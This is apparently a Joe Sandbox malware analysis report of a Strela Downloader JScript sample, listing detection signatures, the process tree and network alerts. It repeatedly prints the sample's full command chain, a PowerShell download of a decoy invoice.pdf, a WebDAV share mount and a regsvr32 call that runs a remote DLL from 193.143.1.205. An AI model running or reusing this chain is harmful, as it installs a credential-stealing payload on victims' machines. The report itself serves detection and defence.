Edit tour

Windows Analysis Report
299273933818721331.js

Overview

General Information

Sample name:	299273933818721331.js
Analysis ID:	1588072
MD5:	46fafec87dc316c1fd5b4098a3827ca5
SHA1:	1c758d39a3cc04a27d97d8188f1b5cb207a1fc73
SHA256:	fa15369124308b2251a8cc4a28de85b13894477fe9d9b3ea92ab6d4926c7df41
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5660 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6112 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6684 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5752 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1704,i,5724729208234068198,5192370386551454736,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1600 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6792 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4144 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5660	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ProcessId: 5660, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6792, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ProcessId: 5660, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6792, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4144, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6792, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 6112, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:59:05.408831+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:59:02.343786+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 299273933818721331.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 299273933818721331.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

TCP traffic: 192.168.2.6:49722 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49716 -> 193.143.1.205:80

Source: global traffic

